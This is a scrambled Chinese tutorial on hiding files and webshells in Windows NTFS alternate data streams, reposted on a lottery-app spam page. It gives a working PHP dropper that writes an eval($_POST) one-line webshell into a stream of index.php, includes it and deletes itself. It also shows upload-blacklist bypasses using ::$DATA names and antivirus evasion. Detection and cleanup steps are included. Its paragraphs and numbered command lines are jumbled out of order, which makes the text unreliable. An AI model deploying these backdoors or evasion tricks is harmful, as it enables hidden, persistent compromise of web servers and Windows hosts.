四川福彩快乐12app下载-四川快乐12app官网(彩世界)
做最好的网站
来自 四川福彩快乐12app下载 2019-11-07 22:02 的文章
当前位置: 四川福彩快乐12app下载 > 四川福彩快乐12app下载 > 正文

Windows ADS在渗透测试中的妙用四川福彩快乐12app下

这类可以通过命令

15* 这里打开寄生在可执行文件中的那张图片,其他文件同理。

总结:
原文件=宿主,文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究,把文件流应用于各种操作之中,造出"猥琐"流。

像这类文件的清除一种是通过删除文件夹的方式,但是假如这个文件是创建在系统根目录如何进行处理,此时需要用到WinHexTools-Open Disk功能。

19

3.包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 给mst.txt建立新的隐藏信息的流文件,使用命令notepad mst.txt:test1.txt 打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响。
  四川福彩快乐12app下载 1
所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失

再次使用360联网完全体进行查杀,无法发现此类木马。

11* 打开后可以添加删除222.txt的内容并保存,但是不能另存为。

2.查看文件流vkey的内容,这里就看前100个字节的内容:
FileStreams.exe dump mst.txt vkey 100

病毒免杀

11*/

渗透中的利用:

参考

注意,下面的命令需要用"管理员身份"打开CMD,否则很可能执行不成功。

当然一些局限性的限制寄生虫可以拿到主权:
利用下面的默认流替换特性上传文件名为1.php:的文件,绕过后缀名限制即可。

运行dll,当然由于病毒行为太明显没作处理,360还是会动态查杀的,这个配合一点其他的免杀技术完全过掉也不难,这边不再多做赘述。

26E:test:

四川福彩快乐12app下载 2 

*本文作者:3unshine,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

08/*在命令行下执行这个链接文件,即可运行E::aaa.exe*/

四川福彩快乐12app下载 3

可以进行查看:

c.如何利用NTFS交换数据流隐藏可执行文件

默认流也就是宿主自身的,这里完全可以吞噬宿主,成为宿主。

文件内容可以使用命令notepad 1.txt:flag.txt 进行查看和编辑 查看到文件名:

01/*切换到E盘根目录*/

四川福彩快乐12app下载 4 

前言

167  E:123.txt:222.txt

再来查看文件流vkey的内容

可以注意到上传文件名为Test.php::$INDEX_ALLOCATION时会生成对应的文件夹,利用此种特性也可以用于突破UDF提权时遇到无法创建文件夹的问题。

132012/12/15  21:12            test

而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。

进行查看和编辑:

04* 如果使用"lads.exe test /S",就是递归检测test以及test下所子目录。

四川福彩快乐12app下载 5 

目前杀毒软件和webshell查杀对ADS数据流技术的查杀支持并不是很好,并且木马可能进行依赖于盘符的驻留方式,希望能本文能有所帮助。

02* 在C盘的根目录中创建一个符号链接文件eee.exe,

在没有原文件的情况下创建文件流,会自动创建一个空文件。
原理分析:
好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:

notepad 1.txt:flag.txt

15/*

  四川福彩快乐12app下载 6
自动创建宿主,然后寄生。

使用最新版D盾扫描也无法发现问题。

09Scanning directory E: with subdirectories

 

如需删除只需在WinHex选中之后按Delete即可。 webshell后门

07E::

其次,文件流是不可能直接执行的,但是PHP可以使用包含函数,所以就产生了第二段代码:

dir /r

23Deleted :bbb.jpg:$DATA

四川福彩快乐12app下载 7 

四川福彩快乐12app下载 8

08E:>typebbb.jpg>>aaa.exe:bbb.jpg

顺利的执行了C:Usersgh0stkeyDesktoptestFileStreams.exe 这个文件。
特性2
自动创建空文件:

由于windows xp之后的系统对于ADS文件都没有执行权限,因此隐藏此类webshell需要用到文件包含来进行配合。

15144588  E::bbb.jpg

默认流替换:

echo hide > :key.txt

*原文连接:http://www.qingsword.com/qing/812.html

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序

创建了依赖C盘存在的数据流文件c::2.vbs,没有工具正常是无法清除的。

实验环境:Windows 10

四川福彩快乐12app下载 9

wscript c::2.vbs

02* 首先尝试清除一下E盘根目录上面寄生的交换数据流,

当然你也可以做一个持续性webshell后门,然后使用include包含起来即可利用:

四川福彩快乐12app下载 10

上面说了隐藏,现在来说检测,可以使用这两款小工具配合进行检测和清除寄生的交换数据流[网盘下载],工具都是命令行模式的,请看下面的演示:

最后,为了不被发现要删除本身文件,就出来了代码:

四川福彩快乐12app下载 11

07E:>lads.exe /S

四川福彩快乐12app下载,详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master File Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:

检测的工具常见的有LADS (List Alternate Data Streams)、Streams、Sfind等

14346112  E::aaa.exe

我们让上一步骤归零,重新来看看mst.txt:

清除方式目前一个是个人用过的winhex和删除宿主文件这两种方式,另一个就是借助相关工具如IceSword删除。

14/*

四川福彩快乐12app下载 12 

四川福彩快乐12app下载 13

22

$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/') 1);
@unlink($filename);

四川福彩快乐12app下载 14

26* 比如当前盘符在C盘,可以这样打开:

这个方法算是打破常规的认识了,很有意思。

然后参考: 可变变量进行二次转换,696e6465782e7068703a732e747874为index.php:s.txt的hex编码,最终test.php中内容如下:

下面是Win:7后的版本中调用这个E盘根目录下的交换数据流可执行文件的方法:

然后写入内容到文件流vkey

四川福彩快乐12app下载 15

05E:>typeaaa.exe>>E::aaa.exe

四川福彩快乐12app下载 16

type test.dll > 1.txt:ms

13/*

NTFS文件流生成步骤:
1.我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。
  四川福彩快乐12app下载 17

正常情况文件无法查看到,可以使用命令:

07/*寄生到aaa.exe这个可执行文件上*/

NTFS特性和原理分析:
特性1:
实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用说明:
create      创建文件流
enum       列举文件流
delete      删除文件流
write       写入内容到文件流
append     增加文件到文件流
launch      执行文件流的内容
dump       读取文件流的内容

四川福彩快乐12app下载 18

08

可以看到文件流test2的数据是直接存放在MFT上,因为test2的数据小,而testExe的数据则没有明显看出来,因为testExe数据比较大,MFT里面存放的是簇信息。

检测

01/*寄生的方法和图片和文本文件相同,寄生到123.txt*/

实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:
FileStreams.exe create mst.txt vkey
  四川福彩快乐12app下载 19

此类文件可以通过直接删除宿主文件清除。

13* 看到进程列表里面多出一个名称很奇怪的进程":aaa.exe",

如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:

可以进行编辑:

使用streams.exe这个程序来清除这些交换数据流,根据上面检测的输出信息,我将streams.exe放在E盘的根目录:

exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');

很容易就被确认为病毒。

在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。

只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab
  四川福彩快乐12app下载 20

因此需要退到上级目录进行查看:

06E:>dir

四川福彩快乐12app下载 21 

四川福彩快乐12app下载 22

25* 如果命令提示符是在其他盘符,可以使用这个数据流文件的完整路径来打开,

此方法笔者在一次局限性的命令执行中完美运用上了。

NTFS交换数据流(Alternate DataStreams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上。利用ADS数据流,我们可以做很多有趣的事情,同时对于企业安全来说这类问题也隐藏着巨大的风险。本文主要讨论利用方式以及如何防御这类攻击。

13E:>notepad 123.txt:222.txt

直接写一个一句话内容到key.php这个文件流中。

创建目标文件:

09* 但是在Win7之后的系统中会出现下面的错误。

$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);

文件内容可以使用命令:

23/*

ByPass WAF:
测试了下一些WAF还是可以绕过的。
较为鸡肋:
  四川福彩快乐12app下载 23

PS:这边另外补充一点,文件最好寄宿在纯静态文件,因为像php文件修改后会改变属性,系统层相当于生成了一个新的文件,导致ADS文件失去宿主而消失。 文件上传

05/*查看E盘根目录中有哪些内容*/

3.执行文件流vkey:

小结

231053737 bytes in 9 ADS listed

那么最开始也说了,文件流是可以用来启动程序的,我们来试试:
1.加入文件到文件流vkey:
FileStreams.exe append mst.txt vkey C:Usersgh0stkeyDesktoptestFileStreams.exe

四川福彩快乐12app下载 24

07/*

咱们今天来研究下NTFS文件流:

四川福彩快乐12app下载 25

02E:>typeaaa.exe>>123.txt:aaa.exe

FileStreams.exe dump mst.txt vkey 14
这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)
  四川福彩快乐12app下载 26

来进行创建:

16

软件后门隐藏:
使用特性1写一段代码后台自动运行这个文件流即可。

首先创建被包含文件index.php:s.txt。

04

需要有一个文件包含才行。

| 上传的文件名 | 服务器表面现象 | 生成的文件内容 || --- | --- | --- || Test.php:a.jpg | 生成Test.php | 空 || Test.php::$DATA | 生成test.php | || Test.php::$INDEX_ALLOCATION | 生成test.php文件夹 | || Test.php::$DATA\0.jpg | 生成0.jpg | |

38E:>notepad :123.txt

Webshell后门隐藏:

echo 9527 > 1.txt:flag.txt

17* bbb.jpg 是一张图片,

2.在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)。

可以成功执行vbs。

24

FileStreams.exe create mst.txt vkey content

使用命令:regsvr32 1.txt:ms

08* XP中可以直接通过start命令使用绝对路径来调用这个寄生的可执行文件,

<?php
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);
$url = $_SERVER['PHP_SELF'];
$filename= substr($url,strrpos($url,'/') 1);
@unlink($filename);
?>

四川福彩快乐12app下载 27

18* lads.exe和streams.exe是用于检测交换数据流的程序,后面会用到,

四川福彩快乐12app下载 28 

指定宿主文件

18E:>streams.exe -s -d E:

为什么这样写?首先我们知道网站的默认首页是index.php,所以我们使用了第一段代码:

内容为:

05E:>mklinkC:eee.exe E::aaa.exe

如上图,我们直接执行echo xxxx>>1.txt:
即可替换默认流:
  四川福彩快乐12app下载 29
当然如果宿主不存在,将会创建宿主并且吞噬宿主,从而成为宿主。

前面提到过在windows xp 03之后的版本的数据流文件都被禁止了执行权限,因此可以使用wscript来运行vbs,此处在C盘根目录使用命令:

21E:>type123.txt>>test:123.txt

四川福彩快乐12app下载 30

02* 使用echo命令,将"www.qingsword.com"这几个字符写入到123.txt:222.txt中,

使用命令:

17346112  E:123.txt:aaa.exe

清除

图片文件也能寄生在任何类型的文件上,下面给出几个实例:

type1.vbs > :2.vbs

18* 用交换数据流的方式寄生到另外一个文件或文件夹上,

四川福彩快乐12app下载 31

27*"C:>notepad E:test:123.txt"

利用方式 文件隐藏

10

这类情况可以使用命令

07

下面是上传是会出现的现象:

20*/

四川福彩快乐12app下载 32

04*/

这一块主要是用于Bypass上传黑名单验证,因为在我们上传数据流文件时,形如test.php::$DATA、test.php:a.txt这样的后缀,windows系统必定需要创建一个对应的宿主文件test.php,同时假设我们需要上传的文件内容为:

02C:WindowsSystem32>e:

在NTFS分区创建ADS数据流文件有两种形式:一是指定宿主文件;二是创建单独的ADS文件。常用的创建命令有两个:echo和type,echo用于输入常规字符,type则用于将文件附加到目标文件,此类用法通常为CTF出题时候使用。

06*/

访问test.php即可:

04* 其中123.txt是宿主文件,222.txt是交换数据流文件,

四川福彩快乐12app下载 33

16*/

四川福彩快乐12app下载 34

20*/

四川福彩快乐12app下载 35

01/*

选中目标盘符,找到目标文件夹。

14* 如果我们使用相同的方法运行寄生在文本文件中的那个aaa.exe,

单独的ADS数据流文件

11E:>typebbb.jpg>>E::bbb.jpg

四川福彩快乐12app下载 36

03* 链接到E盘根目录中寄生的交换数据流可执行文件aaa.exe上。

创建之后在目录下无文件,也没有依赖的宿主文件,并且此类文件在当前目录命令行下是无法查看的,因为它是依赖于文件夹的ADS数据流文件:

30

使用命令:

12*/

06

17*type命令和echo命令不同,type命令是将已经存在的一个文件,

12

20E:123.txt:

0×3.如何检测和清除NTFS-ADS隐藏的文件

08Deleted :123.txt:$DATA

在E盘根目录中有这些文件:

15* 看到的进程名称就会是"123.txt:aaa.exe"。

streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息,虽然我们无法看到数据流文件,但是它却是真实存在于我们的系统中的。创建一个数据交换流文件的方法很简单,命令为"宿主文件:准备与宿主文件关联的数据流文件"。

24E:aaa.exe:

37*/

10

03* 不添加任何参数直接运行,就是检测根目录中所有文件,

文章目录

15* 123.txt 是一个文本文件,

22

11size  ADS in file

0×2.NTFS交换数据流隐藏文件实例

05* 下面这条命令是检测根目录以及所有子目录。

06

07E:>echowww.qingsword.com>>123.txt:222.txt

17/*可以添加-s参数来一次性递归清除E盘下所有寄生的交换数据流文件(慎用,尤其是对系统盘一定不要随便使用递归清除,系统本身的一些数据流也会被一起清除掉)*/

2012  E:test:123.txt

112012/01/04  04:10     61,952 lads.exe

17E:>mspaintaaa.exe:bbb.jpg

12E:>startE::aaa.exe

32E:>type123.txt>>E::123.txt

12* 这个时候大家可以打开任务管理器,

0×3.如何检测和清除NTFS-ADS隐藏的文件

a.如何利用NTFS交换数据流隐藏文本文件

06为 C:eee.exe <> E::aaa.exe 创建的符号链接

10* 使用记事本程序打开这个交换数据流文件,

01/*寄生到123.txt上*/

14

这篇文章介绍Windows下NTFS文件系统的ADS(alternate data

05* 222.txt在图形界面下是不可见的,就像寄生虫一样,寄生在123.txt上。

1972294  E:aaa.exe:bbb.jpg

11* 对于这种情况,需要先结束掉这个:aaa.exe进程才能清除。

03*echo命令以写字符的方式创建了":222.txt"这个交换数据流文件,

15Deleted :bbb.jpg:$DATA

19* test是一个空文件夹。

08

35* 通过相对路径来打开,也可以通过绝对路径来打开,

16* 将123.txt使用交换数据流的方式寄生到test文件夹上,

02* 将这lads.exe这个程序放置需要检测的分区根目录中,

25/*可以看到我们实验中添加的所有交换数据流一览无遗*/

10* 这里出现了一个错误,因为这个:aaa.exe现在正在运行

19* test文件夹是一个空文件夹,寄生123.txt后,文件夹大小显示仍然是0。

0×2.NTFS交换数据流隐藏文件实例

这一部分内容在Windows系列操作系统的NTFS分区上都能适用。

33

36* 命令是"E:>notepad E::123.txt"

NTFS交换数据流(alternate data

13Error deleting :aaa.exe:$DATA:

06*/

05E:>streams.exe -d E:

03

引言

12*/

这种方法能很好的将一个文本文件使用交换数据流的形式寄生在另外一个文件上(任何类型的文件上),从一定程度上起到了隐藏文本文件的目的。

04*/

25Deleted :bbb.jpg:$DATA

实验环境和所有用于实验的文件全部介绍完毕,下面开始实际操作 。

34/*

WinXP和Win7之后的Windows版本在NTFS交换数据流的不同体现在对寄生的可执行文件的运行管理上,XP可以按照和上面相同的方法直接运行寄生的可执行程序;Win7之后的版本需要手动创建一个连接文件,通过这个链接文件才能运行这个寄生的可执行交换数据流文件,请看下面的实例:

14?????

0×1.什么是NTFS交换数据流(ADS)

b.如何利用NTFS交换数据流隐藏图片文件

10/*寄生到E盘根目录*/

31/*将123.txt寄生到E盘根目录*/

11/*

b.如何利用NTFS交换数据流隐藏图片文件

102012/09/26  07:36     72,294 bbb.jpg

03E:>

04/*寄生到test文件夹上*/

01/*

07

092012/05/29  20:15    346,112 aaa.exe

27Deleted :123.txt:$DATA

streams,交换数据流)特性;实例演示如何利用ADS将文件隐藏到任何宿主上(宿主可以是文件夹、文件以及磁盘根目录);文章最后将提供两个小工具,利用它们来检测和清除隐藏在宿主上的文件。

0×1.什么是NTFS交换数据流(ADS)

13系统找不到文件 E::aaa.exe。

09E:>C:eee.exe

09/*

*转载请注明来自:晴刃(QingSword.COM)

a.如何利用NTFS交换数据流隐藏文本文件

122012/04/27  10:17     87,424 streams.exe

24* 使用notepad打开这个寄生在test上的文本文件,

14* 打开方式很简单,可以使用系统自带的图画程序mspaint,

10* (Win XP中start命令后面必须接绝对路径)

16* aaa.exe 是一个可执行文件,

21Deleted :222.txt:$DATA

01/*

1312  E::123.txt

22Deleted :aaa.exe:$DATA

12----------  ---------------------------------

2172294  E:test:bbb.jpg

082012/12/15  21:03          5 123.txt

29E:>notepad test:123.txt

这一段是百科上面的内容,大致了解一下即可,后面会有实例演示。

03

实验分区:E盘根目录(NTFS分区,ADS是NTFS文件系统的特性,不适用于FAT32文件系统)

01/*

05E:>typebbb.jpg>>test:bbb.jpg

16*/

04/*寄生到E盘根目录*/

09

09/*

28*/

03* -d后面接目录。

06

1872294  E:123.txt:bbb.jpg

28Deleted :bbb.jpg:$DATA

c.如何利用NTFS交换数据流隐藏可执行文件

02E:>typebbb.jpg>>123.txt:bbb.jpg

本文由四川福彩快乐12app下载发布于四川福彩快乐12app下载,转载请注明出处:Windows ADS在渗透测试中的妙用四川福彩快乐12app下

关键词: 网站 妙用 测试中 Windows CTF